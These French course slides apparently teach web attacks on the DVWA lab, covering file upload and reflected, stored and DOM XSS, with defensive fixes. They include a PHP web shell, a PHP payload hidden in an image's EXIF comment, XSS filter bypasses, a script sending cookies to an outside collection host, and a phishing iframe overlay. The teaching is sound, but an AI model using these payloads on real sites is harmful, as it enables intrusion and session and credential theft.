2. [Broken Authentication and Session Management](https://www.owasp.org/index.php/Top_10_2013-A2-Broken_Authentication_and_Session_Management)
3. <a href="https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)">Cross-Site Scripting (XSS)</a>
4. [Insecure Direct Object References](https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References)
5. [Security Misconfiguration](https://www.owasp.org/index.php/Top_10_2013-A5-Security_Misconfiguration)
6. [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure)
7. [Missing Function Level Access Control](https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control)
8. <a href="https://www.owasp.org/index.php/Top_10_2013-A8-Cross-Site_Request_Forgery_(CSRF)">Cross-Site Request Forgery (CSRF)</a>
9. [Using Components with Known Vulnerabilities](https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities)
10. [Unvalidated Redirects and Forwards](https://www.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards)
## [Owasp top 10 (2017)](https://www.owasp.org/index.php/Top_10-2017_Top_10)
1. [<i class="fa fa-hand-o-right" aria-hidden="true"></i> Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection)
2. [<i class="fa fa-hand-o-right" aria-hidden="true"></i> Broken Authentication and Session Management](https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication)
3. [<i class="fa fa-hand-o-up" aria-hidden="true"></i> Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure)
4. <a href="https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)"><i class="fa fa-hand-peace-o" aria-hidden="true"></i> XML External Entities (XXE)</a>
5. [<i class="fa fa-hand-peace-o" aria-hidden="true"></i> Broken Access Control](https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control)
6. [<i class="fa fa-hand-o-down" aria-hidden="true"></i> Security Misconfiguration](https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration)
7. <a href="https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)"><i class="fa fa-hand-o-down" aria-hidden="true"></i> Cross-Site Scripting (XSS)</a>
8. [<i class="fa fa-hand-peace-o" aria-hidden="true"></i> Insecure Deserialization](https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization)
9. [<i class="fa fa-hand-o-right" aria-hidden="true"></i> Using Components with Known Vulnerabilities](https://www.owasp.org/index.php/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities)
10. [<i class="fa fa-hand-peace-o" aria-hidden="true"></i> Insufficient Logging&Monitoring](https://www.owasp.org/index.php/Top_10-2017_A10-Insufficient_Logging%26Monitoring)
## Répartition par Attaques
![Relative Portions of Each Attack Type](images/top10/Relative_Portions_of_Each_Attack_Type.png "Relative Portions of Each Attack Type")
[source IMPERVA](http://www.imperva.com/docs/HII_Web_Application_Attack_Report_Ed4.pdf)
## Répartition par Attaques
* Cross-site scripting (XSS)
* SQL injection (SQLi)
* Remote File Inclusion (RFI)
* Local File Inclusion (LFI)
* Email extraction (EmExt)
* Directory traversal (DT)
* Comment Spamming (ComSpm)
<!-- https://www.whitehatsec.com/resource/stats.html -> owncloud/ssi/2015-Stats-Report.pdf to print -->
<!-- http://www.symantec.com/security_response/publications/threatreport.jsp -->
<!-- http://www.zdnet.fr/actualites/cybersecurite-a-quoi-s-attendre-dans-les-mois-qui-viennent-39822112.htm -->
## Autres top 10 ...
### <i class="fa fa-mobile"></i> [Top 10 - Mobile security](https://www.owasp.org/index.php/OWASP_Mobile_Security_Project#tab=Top_10_Mobile_Risks)
### <i class="fa fa-wordpress"></i> <i class="fa fa-drupal"></i> [Top 10 des failles de sécurité des CMS](http://www.cms.fr/articles/525-top-10-des-failles-de-securite-des-cms.html)
# upload
## aka chmod -R 777
### <i class="fas fa-cogs"></i> Upload de fichier
* Deux problèmes
* filtrage des types de fichiers uploadés
* exposition / exécution des scripts au niveau du répertoire d'upload
* Risque
* Upload de code arbitraire
* Backdoor ou Remote shell
### <i class="fas fa-cogs"></i> Upload de fichier
* Configurations liées à l'upload à différents endroits
* HTML (côté client)
* PHP (moteur de script)
* Apache (serveur web)
* Ergonomiquement intéressant pour l'utilisateur
* [elFinder](http://elfinder.org) ...
* [et leurs problèmes de sécurité](https://github.com/Studio-42/elFinder/issues/815)
Note:
- MIME Multipurpose Internet Mail Extensions
- pour que les clients mail puissent afficher correctement les PJ
- pas d'upload ... FTP, WebDav (utilise les verbs HTTP)
### <i class="fa-solid fa-bomb"></i> Upload / low
```
sudo chown -R www-data /var/www/DVWA/hackable/uploads
```
Upload d'un fichier bd.php simple
```php
<?php
echo passthru($_REQUEST['cmd']);
```
* Trouver le répertoire d'upload
* chemins connus dans produits connus
* code source HTML faisant référence au fichier uploadé
```
../../hackable/uploads/bd.php succesfully uploaded!
```
### <i class="fa-solid fa-bomb"></i> Upload / $_FILES
```
cd /var/www/DVWA/vulnerabilities/upload/
vi source/low.php
```
```php
print_r($_FILES);
Array (
[uploaded] => Array (
[name] => bd.php
[type] => application/x-php
[tmp_name] => /tmp/phpPU0gay
[error] => 0
[size] => 39
)
)
```
### <i class="fa-solid fa-bomb"></i> Upload / security medium
* contrôle de l'entête HTTP *Content-Type* renvoyé par le navigateur
![content-type](images/upload/content-type.png "content-type")
### <i class="fa-solid fa-bomb"></i> Upload / security high
![kitten](images/upload/kitten.jpg "kitten")<!-- .element style="width: 120px" -->
* visionner le "Comment" du jpg avec [exiftool](http://www.sno.phy.queensu.ca/~phil/exiftool/) + [<i class="fa fa-gift"></i>](http://www.gamergen.com/actualites/insolites-hacker-arrete-pour-poitrine-copine-93809-1)
* modifier le champs comment with exiftool
```
exiftool ~/Downloads/kitten.jpg \
-comment="<?php echo passthru(\$_REQUEST['cmd']); __halt_compiler();?>"
```
Code uploadé :)
### <i class="fa-solid fa-bomb"></i> Upload / security high
code non exécuté :(
on doit passer par une autre vulnérabilité
* [CMDi](cmdi.html) pour renommer `kitten.jpg` en `kitten.php`
* [LFI](fi.html) pour inclure la payload contenu dans `kitten.jpg`
ou `cp kitten.jpg kitten.php` ;)
### <i class="fa-solid fa-bomb"></i> Upload / autres contrôles
db.php
```php
echo passthru($_REQUEST['cmd'])
```
| <small>Command</small> | <small>Output</small> |
| --------------------------------------------------------------------------------------------- |:---------------------------------:|
| <small>$_FILES['uploaded']['type']</small> | <small>application/x-php</small> |
| [<small>mime_content_type</small>](http://php.net/manual/fr/function.mime-content-type.php) | <small>text/x-php</small> |
| [<small>exif_imagetype</small>](http://php.net/manual/fr/function.exif-imagetype.php) | <small>null (no image)</small> |
| [<small>finfo_file</small>](http://php.net/manual/fr/function.finfo-file.php) | <small>text/x-php</small> |
| [<small>getimagesize[2]</small>](http://php.net/manual/fr/function.getimagesize.php) | <small>null (no image)</small> |
<!-- .element class="table-striped table-bordered table-hover" style="width: 100%" -->
### <i class="fa-solid fa-bomb"></i> Upload / autres contrôles
[![lego](images/upload/lego.jpeg "lego")<!-- .element style="width: 50px" -->](images/upload/lego.jpeg)
<small>[lego.jpeg](images/upload/lego.jpeg)</small>
| <small>Command</small> | <small>Output</small> |
| --------------------------------------------------------------------------------------------- |:-------------------------:|
| <small>$_FILES['uploaded']['type']</small> | <small>image/jpeg</small> |
| [<small>mime_content_type</small>](http://php.net/manual/fr/function.mime-content-type.php) | <small>image/jpeg</small> |
| [<small>exif_imagetype</small>](http://php.net/manual/fr/function.exif-imagetype.php) | <small>2 (IMAGETYPE_JPEG) |
| [<small>finfo_file</small>](http://php.net/manual/fr/function.finfo-file.php) | <small>image/jpeg |
| [<small>getimagesize[2]</small>](http://php.net/manual/fr/function.getimagesize.php) | <small>image/jpeg |
<!-- .element class="table-striped table-bordered table-hover" style="width: 100%" -->
### <i class="fa-solid fa-bomb"></i> Upload / autres contrôles
![kitten](images/upload/kitten.jpg "kitten")<!-- .element style="width: 50px" -->
<small>[kitten.jpg.php](images/upload/kitten.jpg.php)</small>
| <small>Command</small> | <small>Output</small> |
| -------------------------------------------------------------------------------------------- |:---------------------------------:|
| <small>$_FILES['uploaded']['type']</small> | <small>application/x-php</small> |
| [<small>mime_content_type</small>](http://php.net/manual/fr/function.mime-content-type.php) | <small>image/jpeg</small> |
| [<small>exif_imagetype</small>](http://php.net/manual/fr/function.exif-imagetype.php) | <small>2 (IMAGETYPE_JPEG)</small> |
| [<small>finfo_file</small>](http://php.net/manual/fr/function.finfo-file.php) | <small>image/jpeg</small> |
| [<small>getimagesize[2]</small>](http://php.net/manual/fr/function.getimagesize.php) | <small>null (no image)</small> |
<!-- .element class="table-striped table-bordered table-hover" style="width: 100%" -->
Note:
- le .php est indispensable pour exécuter la charge dans la commentaire de l'image
- parler d'exif -> cf le lien la géoloc (sur fb, etc ...)
- On pourrait également avoir une image malicieuse vouée à infecter le client
- autre hisoitre
- difficilement détectable à l'upload
## <i class="fa fa-medkit"></i> Se préserver
* Filtrer par extension de fichier plutôt que par type MIME
* utiliser des listes blanches plutôt que des listes noires
* un nom de fichier peut contenir des points
* il faut bien prendre l'extension
* c'est ce qui est fait avec [security high](http://dv.wa/vulnerabilities/upload/)
## <i class="fa fa-medkit"></i> Se préserver
désactiver php dans le répertoire d'upload
#### via le vhost ou .htaccess
```xml
php_admin_value engine Off
```
Note:
- MIME Multipurpose Internet Mail Extensions : pour que les clients mail puissent afficher correctement les PJ
## <i class="fa fa-medkit"></i> Se préserver
* Ne plus servir le répertoire d'upload via apache
* sortir le répertoire d'upload du dossier servi par apache
* en interdire la lecture avec un htaccess renvoyant une 403 Forbidden
#### via le vhost ou .htaccess
```
order deny, allow
deny from all
```
## <i class="fa fa-medkit"></i> Se préserver
* Utiliser PHP pour lire les fichier avec [readfile](http://php.net/manual/fr/function.readfile.php)
* prendre en charge la génération des en-têtes **Content-Type** "manuellement"
* [<i class="fab fa-github"></i> igorw/IgorwFileServeBundle](https://github.com/igorw/IgorwFileServeBundle)
* [download center lite](http://www.stadtaus.com/fr/php_scripts/download_center_lite/)
* permet une meilleure gestion des accès par permission
* accès à la session courante
Note:
- attention toute la stack Sf2 à chaque image ou asset c'est chaud
# XSS
## aka cross site script
### <i class="fas fa-cogs"></i> XSS
* Affichage de données utilisateur sans validation ou échappement
* oubli du développeur
* messages d'erreurs (BDD, ...)
* Tentative d'injection interprétable par le navigateur de la cible
* code javascript
* code HTML
### <i class="fas fa-cogs"></i> XSS
![Bob](images/xss/XSS-bob.png "Bob") ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Site faille](images/xss/XSS-sitefaille.png "Site faille") ![Serveur victime](images/xss/XSS-serveurvictime.png "Serveur victime")
1.Bob consulte la page faillible et repère une faille XSS
### <i class="fas fa-cogs"></i> XSS
![Bob](images/xss/XSS-bob.png "Bob") ![Scripts](images/xss/XSS-scripts.png "Scripts") ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Serveur pirate](images/xss/XSS-serveurpirate.png "Serveur pirate")
2.Bob écrit une payload JS ou HTML qui récupère par exemple des informations utilisateurs et les envoie sur son serveur
**Il rend ce script accessible via le XSS qu'il a découvert sur la page faillible**
### <i class="fas fa-cogs"></i> XSS
![Bob](images/xss/XSS-bob.png "Bob") ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Alice](images/xss/XSS-alice1.png "Alice")
3.Bob envoie l'url du XSS à Alice en l'incitant à cliquer sur un lien forgé (**XSS réfléchie**)
ou
3.attend simplement qu'elle se connecte à une page compromise (**XSS stockée**)
Note:
- test du XSS souvent alert ... méthode plus discrète notamment pour XSS stored
- console.log > alert
### <i class="fas fa-cogs"></i> XSS
![Alice](images/xss/XSS-alice2.png "Alice") ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Site piégé](images/xss/XSS-sitepiege.png "Site piégé") ![Serveur victime](images/xss/XSS-serveurvictime.png "Serveur victime")
4.Alice clique sur le lien forgé (**XSS réfléchie**)
ou
4.Alice consulte la page compromise et pense avoir à faire à l'originale (**XSS stockée**)
### <i class="fas fa-cogs"></i> XSS
![Alice](images/xss/XSS-alice2.png "Alice") ![Données utilisateur](images/xss/XSS-infos.gif "Données utilisateur") ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Scripts](images/xss/XSS-scripts.png "Scripts") ![Serveur victime](images/xss/XSS-serveurvictime.png "Serveur victime")
5.la page compromise exécute le payload JS de Bob
### <i class="fas fa-ice-cream"></i> XSS / types
* **reflected**
* aussi appelé réfléchie, non permanente
* **stored**
* aussi appelé stockée, permanente
* **DOM**
* aussi appelé DOM-based
### <i class="fa-solid fa-bomb"></i> XSS / payloads
* Défacement de pages (*HTML*)
* Vol de session via les cookies (*JS*)
* Redirection arbitraire (*JS/HTML*)
* exploitation de [CSRF](CSRF.htm)
* Browser hijacking (*JS*)
Note:
- dans le cas d'un CSRF on récupère rien on espère que ca a marché
### <i class="fas fa-cogs"></i> XSS (reflected)
* le code malicieux n'est stocké nulle part
* injecté dans l'url et exécuté au moment de l'accès au lien malicieux
* fait forcément appel à l'ingénierie sociale pour inciter à cliquer
* phishing via lien forgé
* éventuellement obfusqué
* intitulé malicieux
* url shortener
### <i class="fa-solid fa-bomb"></i> XSS (reflected) / low
```
Name: <script>alert('pipo');</script>
```
* url forgé
* <small>[/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27pipo%27%29%3B%3C%2Fscript%3E#](http://dv.wa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27pipo%27%29%3B%3C%2Fscript%3E#)</small>
* url forgé décodé
* <small>[/vulnerabilities/xss_r/?name=&lt;script&gt;alert('pipo');&lt;/script&gt;](http://dv.wa/vulnerabilities/xss_r/?name=<script>alert('pipo');</script>)</small>
### <i class="fa-solid fa-bomb"></i> XSS (reflected) / medium
```
Name: <script>alert('pipo');</script>
```
* les balises **script** sont filtrées :/
* les balises **sCrIpT** non
* <small>[/vulnerabilities/xss_r/?name=&lt;sCrIpT&gt;alert%28%27pipo%27%29%3B&lt;s%2FsCrIpT&gt;](http://dv.wa/vulnerabilities/xss_r/?name=<sCrIpT>alert%28%27pipo%27%29%3B<%2FsCrIpT>)</small>
### <i class="fa-solid fa-bomb"></i> XSS (reflected) / high
```
Name: <script>alert('pipo');</script>
```
* les balises **script** sont bien filtrées :/
* les autres balises ne le sont pas
```
<svg onload="alert('pipo');" />
```
* <small>[/vulnerabilities/xss_r/?name=&lt;svg+onload%3D"alert%28%27pipo%27%29%3B"+%2F&gt;#](http://dv.wa/vulnerabilities/xss_r/?name=<svg+onload%3D"alert%28%27pipo%27%29%3B"+%2F>#)</small>
### <i class="fas fa-cogs"></i> XSS (stored)
* le code malicieux est stocké dans une donnée (BDD, fichiers, ...)
* exécuté à chaque fois que la donnée infectée est affichée par un utilisateur
* le recours à l'ingénierie sociale n'est pas forcément nécessaire
### <i class="fa-solid fa-bomb"></i> XSS (stored) / low
```
Name: <script>alert('pipo');</script>
Message: <script>alert('pipo');</script>
```
* <!-- .element class="fragment rollin" -->
<i class="fas fa-bell"></i> maxlength="50"
* <!-- .element class="fragment rollin" -->
contournable avec **burp suite**
* <!-- .element class="fragment rollin" -->
contournable avec **inspector** (Browser > F12)
!["inspector"](images/xss/inspector.png "inspector")<!-- .element class="fragment rollin" -->
### <i class="fa-solid fa-bomb"></i> XSS (stored) / medium
```
Name: <script>alert('pipo');</script>
Message: <script>alert('pipo');</script>
```
affiche
```
Name: alert('pipo');
Message: alert(\'pipo\');
```
* les balises scripts sont filtrée
* avec 2 stratégies différentes
```
Name: <svg onload="alert('pipo');" />
Message: <svg onload="alert('pipo');" />
```
ne produit qu'une alerte <i class="fas fa-face-smile-wink"></i>
### <i class="fa-solid fa-bomb"></i> XSS (stored) / high
```
Name: <script>alert('pipo');</script>
Message: <script>alert('pipo');</script>
```
affiche
```
Name: >
Message: alert(\'pipo\');
```
* les balises scripts sont filtrée
* avec 2 stratégies différentes
```
Name: <svg onload="alert('pipo');" />
Message: <svg onload="alert('pipo');" />
```
ne produit qu'une alerte <i class="fas fa-face-smile-wink"></i>
### <i class="fas fa-cogs"></i>XSS (DOM)
* le code malicieux est injecté dans un élément du DOM contrôlable par l’attaquant que l'on nommme **source**
* cet élément fait partie d'une exécution dynamique de code on l'appelle **sink**
* [les sources et les sinks qui peuvent mener à des DOM XSS](https://github.com/wisec/domxsswiki/wiki/Direct-Execution-Sinks)
* souvent via l'url mais pas que
* méconnues car plutôt rares
### <i class="fa-solid fa-bomb"></i> XSS (DOM) / low
* sélectionner une valeur
* [/vulnerabilities/xss_d/?default=French](http://dv.wa/vulnerabilities/xss_d/?default=French)
* inspecter le formulaire
```
var lang = document.location.href.substring(
document.location.href.indexOf("default=")+8
);
document.write(
"<option value='" + lang + "'>"
+ decodeURI(lang)
+ "</option>"
);
```
<small><i class="fa-solid fa-circle-check"></i> [/vulnerabilities/xss_d/?default=&lt;script&gt;alert('pipo');&lt;/script&gt;](http://dv.wa/vulnerabilities/xss_d/?default=%3Cscript%3Ealert(%27pipo%27);%3C/script%3E)</small>
### <i class="fa-solid fa-bomb"></i> XSS (DOM) / medium
<small><i class="fas fa-lightbulb"></i> [/vulnerabilities/xss_d/?default=&lt;script&gt;alert('pipo');&lt;/script&gt;](http://dv.wa/vulnerabilities/xss_d/?default=%3Cscript%3Ealert(%27pipo%27);%3C/script%3E)</small>
* ne fonctionne plus
* redirection vers `default=English` si le paramètre contient le motif `<script`
!["redirect"](images/xss/redirect.png "redirect")
```
default: <svg onload="alert('pipo');" /">
```
<small><i class="fa-solid fa-circle-xmark"></i> [/vulnerabilities/xss_d/?default=%3Csvg%20onload=%22alert(%27pipo%27);%22%20/%3E](http://dv.wa/vulnerabilities/xss_d/?default=%3Csvg%20onload=%22alert(%27pipo%27);%22%20/%3E)</small>
### <i class="fa-solid fa-bomb"></i> XSS (DOM) / medium
* il faut générer un code HTML syntaxiquement valide
```
default: ></option></select><svg onload="alert('pipo');" /">
```
<small><i class="fa-solid fa-circle-check"></i> [/vulnerabilities/xss_d/?default=%3E%3C/option%3E%3C/select%3E%3Csvg%20onload=%22alert(%27pipo%27);%22%20/%22%3E](http://dv.wa/vulnerabilities/xss_d/?default=%3E%3C/option%3E%3C/select%3E%3Csvg%20onload=%22alert(%27pipo%27);%22%20/%22%3E)</small>
### <i class="fa-solid fa-bomb"></i> XSS (DOM) / high
* la variable http est désormais testé par liste blanche
* elle devient inutilisable MAIS
```
var lang= document.location.href.substring(
document.location.href.indexOf("default=")+8
);
```
* récupère TOUS les caractères à partir du huitième en fin d'url
* donc `?default=` ne marche plus MAIS `#default=` a une chance de marcher
<small><i class="fa-solid fa-circle-check"></i> [/vulnerabilities/xss_d/#default=&lt;script&gt;alert('pipo');&lt;/script&gt;](http://dv.wa/vulnerabilities/xss_d/#default=<script>alert('pipo');</script>)</small>
### <i class="fa-solid fa-bomb"></i> XSS / payloads / défacement
* l'idée est de recouvrir la page
* avec un message "p0wned" style
* avec une page malicieuse
* imiter un formulaire d'authentification légitime pour l'utilisateur
* récupérer les données saisies et rediriger l'utilisateur
* être le plus silencieux possible dans la navigation
### <i class="fa-solid fa-bomb"></i> XSS / payloads / défacement
```
wget https://perso.isima.fr/mazenod/slides/1337/exploits.zip -O ~/Desktop/exploits.zip
```
* page malicieuse
* [https://perso.limos.fr/mazenod/slides/1337/exploits/login.php](https://perso.limos.fr/mazenod/slides/1337/exploits/login.php)
```
<form method="get" id="fm1" class=""
action="https://perso.limos.fr/mazenod/slides/1337/exploits/collect.php">
```
* https://perso.limos.fr/mazenod/slides/1337/exploits/collect.php
```
// redirect pour être silencieux
```
### <i class="fa-solid fa-bomb"></i> XSS / payloads / défacement
```
Name: <iframe src="https://perso.limos.fr/mazenod/slides/1337/exploits/login.php"
style="position: absolute; top:0; left: 0; width: 100%; height: 100%;">
</iframe>
```
<small><i class="fa-solid fa-circle-check"></i> XSS / reflected / low [/vulnerabilities/xss_r/?name=&lt;iframe+...+&lt;%2Fiframe&gt;#](http://dv.wa/vulnerabilities/xss_r/?name=%3Ciframe+src%3D%22https%3A%2F%2Fperso.limos.fr%2Fmazenod%2Fslides%2F1337%2Fexploits%2Flogin.php%22+++style%3D%22position%3A+absolute%3B+top%3A0%3B+left%3A+0%3B+width%3A+100%25%3B+height%3A+100%25%3B%22%3E+%3C%2Fiframe%3E#)</small>
<i class="fa-solid fa-lightbulb"></i> [par défaut apache ne permet pas d'inclure des pages dans des iframes](https://tecadmin.net/configure-x-frame-options-apache/)
```
Header always unset X-Frame-Options # à ajouter .htaccess
```
### <i class="fa-solid fa-bomb"></i> XSS / payloads / vol de session
* Tout le contexte du navigateur est accessible
* [créant une véritable empreinte de votre navigateur](https://coveryourtracks.eff.org/)
* l'appel au script distant est réalisé en javascript
```js
<script>
location.replace("https://perso.limos.fr/mazenod/slides/1337/exploits/collect.php?cookie=" + document.cookie);
</script>
```
* https://perso.limos.fr/mazenod/slides/1337/exploits/collect.php
```
// redirect pour être silencieux
```
<small><i class="fa-solid fa-circle-check"></i> XSS / reflected / low [/vulnerabilities/xss_r/?name=&lt;iframe+...+&lt;%2Fiframe&gt;#](http://dv.wa/vulnerabilities/xss_r/?name=%3Ciframe+src%3D%22https%3A%2F%2Fperso.limos.fr%2Fmazenod%2Fslides%2F1337%2Fexploits%2Flogin.php%22+++style%3D%22position%3A+absolute%3B+top%3A0%3B+left%3A+0%3B+width%3A+100%25%3B+height%3A+100%25%3B%22%3E+%3C%2Fiframe%3E#)</small>
### <i class="fa-solid fa-bomb"></i> XSS / payloads / CSRF
* voir [CSRF](/slides/1337/csrf.html)
### <i class="fa-solid fa-bomb"></i> XSS / payloads / Browser Hijacking
* [BeEF - The Browser Exploitation Framework Project](http://beefproject.com/)
* inclusion d'un hook.js
* les navigateurs connectés à la page se comportent ensuite comme des zombies
* répondent aux payloads qu'on leur envoie
### <i class="fa-solid fa-bomb"></i> XSS / payloads / Browser Hijacking
<iframe
width="560"
height="315"
src="https://www.youtube.com/embed/fiD-5Mg8azw?si=6vskSNJCiGiEq655"
title="YouTube video player"
frameborder="0"
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
allowfullscreen></iframe>
### Amy Plant / J'ai hacké mon crush
### <i class="fas fa-medkit"></i> XSS / fix
* utiliser un moteur de template
* échappe par défaut
* dans le `php.ini` pour éviter la manipulation des cookies via javascript
```http
session.cookie_httponly = 1
```
### <i class="fas fa-medkit"></i> XSS / fix
* échapper / filtrer les entrées
* [htmlspecialchars()](http://php.net/manual/fr/function.htmlspecialchars.php) transforme tous les caractères en entité html
* [htmlentities()](http://php.net/manual/fr/function.htmlentities.php) fait l'opération inverse
* listes blanches
* Web Application Firewall (WAF)
* [mod_security](https://www.modsecurity.org/)
### <i class="fas fa-medkit"></i> XSS / fix
* <i class="fas fa-fire"></i> [XSS Filter Evasion Cheat Sheet](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)
* <i class="fas fa-fire"></i> [<i class="fab fa-github"></i> alcuadrado/hieroglyphy](https://github.com/alcuadrado/hieroglyphy)
* [<i class="fa fa-newspaper-o"></i> permet de convertir le code js en caractères non alphanumériques en le gardant fonctionnel](http://patriciopalladino.com/blog/2012/08/09/non-alphanumeric-javascript.html)
* coté client
* [<i class="fab fa-firefox"></i> NoScript](https://addons.mozilla.org/fr/firefox/addon/noscript/) est une option
Note:
- waf pro mode apprentissage avant le lancement pre prod
- mod_security aucun mode apprentissage
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>réagir</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/reagir/00_contexte.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>Session</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/session.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
<script src="../main.js"></script>
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>ShellShock</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/shellshock.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
